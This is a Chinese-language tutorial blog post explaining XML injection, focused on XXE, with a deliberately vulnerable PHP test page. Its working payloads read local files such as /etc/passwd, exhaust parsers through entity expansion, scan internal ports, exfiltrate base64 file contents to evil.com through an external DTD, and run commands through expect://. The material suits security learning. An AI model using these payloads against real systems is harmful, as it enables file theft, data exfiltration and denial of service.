XML注入指在请求的XML中插入攻击利用代码。根据不同的场景,可能会形成以下的漏洞形式:

(1)XEE ----xml entity xpansion(xml实体膨胀,用于dos)

具体介绍:http://www.cnblogs.com/lcamry/p/5737318.html

(2)XXE-----xml external entity injection(xml外部实体注入,最为常见的方法)

具体介绍:下面内容以及http://www.waitalone.cn/xxe-attack.html

blind XXE介绍 http://blog.csdn.net/u011721501/article/details/43775691

(3)soap注入

(4)xpath注入

具体介绍http://netsecurity.51cto.com/art/201401/427521.htm

XML实体攻击已经是一个很老的技术了,这里仅对学习的过程做一个记录。

<form method="POST" action="">

<textarea name="keyword" value="" style="width: 500px; height: 300px"></textarea>

<input type="submit" value="submit">

</form>

<?php

$keyword = $_POST['keyword'];

$xml_obj = simplexml_load_string($keyword);

var_dump($xml_obj);

上面这段代码用于XXE实体攻击的练习,你可以将其保存至你的环境下用于测试。(记得删除 :P)

XML讲解可以参考w3schools的教程-XML

这里简单说一下XML中的实体类型,大致有下面几种:

  • 字符实体
  • 命名实体
  • 外部实体
  • 参数实体

除参数实体外,其它实体都以字符(&)开始,以字符(;)结束。常规实体有:&apos;(')、&amp;(&)、&quot;(")、&lt;(<)、&gt;(>)。

字符实体类似html中的实体编码,形如:a(十进制)或者a(十六进制)。

命名实体可以说成是变量声明,命名实体只能声明在DTD或者XML文件开始部分(<!DOCTYPE>语句中)。如下面代码所示:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY x "First Param!">

<!ENTITY y "Second Param!">

]>

<root><x>&x;</x><y>&y;</y></root>

外部实体用于加载外部文件的内容。(XXE攻击主要利用此实体)

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPe root [

<!ENTITY outfile SYSTEM "outfile.xml">

]>

<root><outfile>&outfile;</outfile></root>

参数实体用于DTD和文档的内部子集中。与一般实体相比它以字符(%)开始,以字符(;)结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。(XXE攻击常结合利用参数实体进行数据回显)

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY % param1 "Hello">

<!ENTITY % param2 " ">

<!ENTITY % param3 "World">

<!ENTITY dtd SYSTEM "combine.dtd">

%dtd;

]>

<root><foo>&content</foo></root>

combine.dtd中的内容为:

<!ENTITY content "%param1;%param2;%param3;">

个参数实体:

%param1;,%param2;,%param3;。

解析后<foo>...</foo>中的内容为Hello World。

XML实体攻击主要利用了XML实体中的外部实体结合各种协议来读取服务器上的数据,在DTD文件中的参数实体声明时能够引用其他参数实体的值,因此在XXE攻击回显遇到困难时会用到。

* 简单文件读取

因为可以进行外部实体加载,在XXE攻击中常用来进行本地文件读取。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY content SYSTEM "file://localhost/c:/windows/win.ini">

]>

<root><foo>&content;</foo></root>

在使用file://协议时,有以下几种格式:

* Linux

file:///etc/passwd

* Windows

file:///c:/windows/win.ini

file://localhost/c:/windows/win.ini

(下面这两种在某些浏览器里是支持的)

file:///c|windows/win.ini

file://localhost/c|windows/win.ini

除了使用file://协议进行文件读取外,如果XML文档是用PHP进行解析的,那么还可以使用php://filter协议来进行读取。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">

]>

<root><foo>&content;</foo></root>

* DoS攻击

因为解析器会解析文档中的所有实体,因此如果实体声明层层嵌套的话,在一定数量上可以对服务器器造成DoS。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY x1 "CPU Consuming Task!">

<!ENTITY x2 "&x1;&x1;">

<!ENTITY x3 "&x2;&x2;&x2;">

...

<!ENTITY x100 "&x99;&x99;&x99;...">

]>

<root><foo>&x100;</foo></root>

嵌套实体声明曾指数增长,可能造成对服务器的DoS。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY dos SYSTEM "/dev/zero">

]>

<root></root>

加载一个不稳定的文件描述也可能产生DoS。

* 端口扫描

加载外部DTD时有两种加载方式,一种为私有private,第二种为公告public。

私有类型DTD加载:

<!ENTITY private_dtd SYSTEM "DTD_location">

公共类型DTD加载:

<!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location">

在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共DTD。利用DTD_location,在一定的环境下可以用来做内网探测。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY portscan SYSTEM "http://localhost:3389">

]>

<root><foo>&portscan;</foo></root>

因解析器种类不同,所以针对XXE攻击进行端口扫描需要一个合适的环境才能够实现,例如:有明显的连接错误信息。

* 利用DTD进行数据回显

当利用XXE攻击进行文件读取时经常因为没有回显而显得鸡肋,这个时候就可以结合参数实体的特殊性,加载一个外部DTD来进行回显。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini">

<!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">

%dtd;

%send;

]>

<root></root>

其中evil.dtd的内容如下:

<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://evil.com/?content=%file;'>">

%payload;

在DTD文件中声明了参数实体payload,其值是一个实体参数声明,因为是在DTD里面,所以可以引用上文的%file;参数实体,%file;参数实体为c:/windows/win.ini文本的内容。最后在原XML里引用DTD中的参数实体,此时就可以讲本地文件读取的内容通过HTTP发送出去(为了让请求的URL有效,这里对使用了php://filter协议,并将内容使用base64进行了编码)。

此方法针对数据不回显的情况及其有用。

* 远程命令执行

当然了,除了文件读取和DoS外,某些情况下还能进行RCE。例如在PHP开启了PECL上的Expect扩展时,就能使用expect://协议来执行命令。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY content SYSTEM "expect://dir .">

]>

<root><foo>&content;</foo></root>

利用XXE攻击时需要结合实际环境才能发挥出其威力。:D

参考

XML注入介绍--XXE,XEE,xpath等的更多相关文章

  1. XML注入(XXE)

    XML所有元素都必须要有一个结束标志 大小写敏感 所有元素嵌套必须正确 所有的XML文档都必须要有一个根标志 XML包括XML声明,DTD文档类型定义(可选),文档元素 DTD即文档类型定义,用来为X ...

  2. WEB安全第五篇--其他注入的奇技淫巧:XML注入、Xpath注入、Json注入、CRLF注入

    零.前言 最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件.底层安全.漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的pay ...

  3. Spring_day01--Spring的bean管理(xml方式)_属性注入介绍

    Spring的bean管理(xml方式) Bean实例化的方式 1 在spring里面通过配置文件 创建对象 2 bean实例化(创建对象)三种方式实现 第一种 使用类的无参数构造创建(重点) Use ...

  4. WEB安全——XML注入

    浅析XML注入 认识XML DTD XML注入 XPath注入 XSL和XSLT注入 前言前段时间学习了.net,通过更改XML让连接数据库变得更方便,简单易懂,上手无压力,便对XML注入这块挺感兴趣 ...

  5. mysql注入介绍

    0. SQL注入常用的尝试语句: or 1=1--+ 'or 1=1--+ "or 1=1--+ )or 1=1--+ ')or 1=1--+ ") or 1=1--+ " ...

  6. XXE漏洞介绍 & XXE漏洞攻击 & 修复建议

    介绍XXE漏洞 XML外部实体注入(XML External Entity)简称XXE漏洞,XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是-种允许用户对自己的标记语 ...

  7. iOS 阶段学习第23天笔记(XML数据格式介绍)

    iOS学习(OC语言)知识点整理 一.XML数据格式介绍 1)概念:xml是extensible markup language扩展的标记语言,一般用来表示.传输和存储数据 2)xml与json目前使 ...

  8. 【网络安全】SQL注入、XML注入、JSON注入和CRLF注入科普文

    目录 SQL注入 一些寻找SQL漏洞的方法 防御SQL注入 SQL注入相关的优秀博客 XML注入 什么是XML注入 预防XML注入 JSON注入 什么是JSON注入 JSON注入的防御 CRLF注入 ...

  9. XML基础介绍【二】

    XML基础介绍[二] 1.schema约束dtd语法: <!ELEMENT 元素名称 约束>schema符合xml的语法,xml语句.一个xml中可以有多个schema,多个schema使 ...

随机推荐

  1. 从0开始学习react(二)

    今天,开始学习第二节!!! 工欲善其事,必先利其器 react推荐我们使用webpack来打包文件,那么我们就用吧!(其实真心不想用啊) 至于好处网上写的天花乱坠的,大家自行解决啊... 这节主要就学 ...

  2. ThinkPHP中的视图二

    ThinkPHP中的视图 1.模板注释 在实际项目开发中,经常要使用注释功能,如果是ThinkPHP框架,则可以在模板文件中使用如下方式进行注释: {// 注释内容 } :单行注释 {/* 注释内容 ...

  3. C++ const用法小结 (欢迎大家拍砖)

    C++const 关键字小结 const 是constant的缩写,本意是不变的,不易改变的意思. const 在C++中是用来修饰内置类型变量,自定义对象,成员函数,返回值,函数参数. 一.cons ...

  4. jQuery 判断所有图片加载完成

    对于图片的处理,例如幻灯片播放.缩放等,都是依赖于在所有图片完成之后再进行操作. 今天来看下如何判断所有的图片加载完成,而在加载完成之前可以使用 loading 的 gif 图表示正在加载中. 一.普 ...

  5. .Net Core下如何管理配置文件(转载)

    原文地址:http://www.cnblogs.com/yaozhenfa/p/5408009.html 一.前言 根据该issues来看,System.Configuration在.net core ...

  6. Redis源码研究--跳表

    -------------6月29日-------------------- 简单看了下跳表这一数据结构,理解起来很真实,效率可以和红黑树相比.我就喜欢这样的. typedef struct zski ...

  7. PHP 登录完成后如何跳转上一访问页面

    访问网站页面时,有的页面需要授权才能访问,这时候就会要求用户登录,跳转到登录页面login.php,怎么实现登录后返回到刚才访问的页面 项目需求 访问网站页面时,有的页面需要授权才能访问,这时候就会要 ...

  8. 飞行器的Pitch Yaw Roll概念图解

    前进方向为Z轴 Pitch 升降 绕X轴  对应常见Φ(phi)角: Yaw 偏航 绕Y轴 对应常见θ(theta)角: Roll 翻滚 绕Z轴 对应常见φ(psi)角: 对应表: 参考网址NASA: ...

  9. 简单的优化处理 By LINQ TO SQL

    最近在做关于新浪微博授权的一些minisite,数据库并不复杂,所以在数据打交道这块采用了linqtosql,开发起来更快更简单...但是随着用户访问逐渐增多,用户上传的图片也越来越多,因为首页是一个 ...

  10. 原创的基于HTML/CSS/JavaScript的层级目录树

    之前参加过一些基于HTML/CSS/JavaScript的项目,当在页面中需要生成一颗目录树时,总是首先想着网上有没有现成的生成树的源代码,比如dtree.zthee,或者使用一些javascript ...